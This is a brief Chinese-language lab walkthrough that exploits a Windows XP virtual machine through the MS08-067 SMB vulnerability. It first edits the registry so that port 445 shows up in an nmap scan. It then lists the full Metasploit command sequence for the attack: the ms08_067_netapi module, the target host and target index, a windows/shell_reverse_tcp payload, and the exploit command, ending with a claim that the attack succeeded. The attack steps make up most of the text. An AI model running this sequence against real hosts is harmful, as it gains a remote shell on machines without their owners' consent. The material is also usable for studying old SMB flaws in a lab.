第一步 安装XP虚拟机
这里用的系统版本如下
然后用nmap扫描XP系统的ip地址发现,扫不出来445端口,也就不用metasploit进行攻击
所以先对XP设置一下
编辑注册表HKEY_LOCAL_MACHINE=>SYSTEM=>CurrentControlSet=>Services=>NetBT=>Parameters
在Parameters上右键新建DWORD值,数值为1,重命名为SMBDeviceEnabled
然后重启设备,再用nmap去扫描就可以发现,可以扫到445端口了
第二步 使用metasploit对XP发起攻击
1 开启metasploit
2 选择攻击模块 exploit/windows/smb/ms08_067_netapi
3 查看参数 show options
4 设置目标主机 set rhosts 172.16.5.9
5 设置target: set target 34
6 设置payload:set payload windows/shell_reverse_tcp
7 查看设置完成的参数
8 执行攻击 exploit
到此,攻击成功!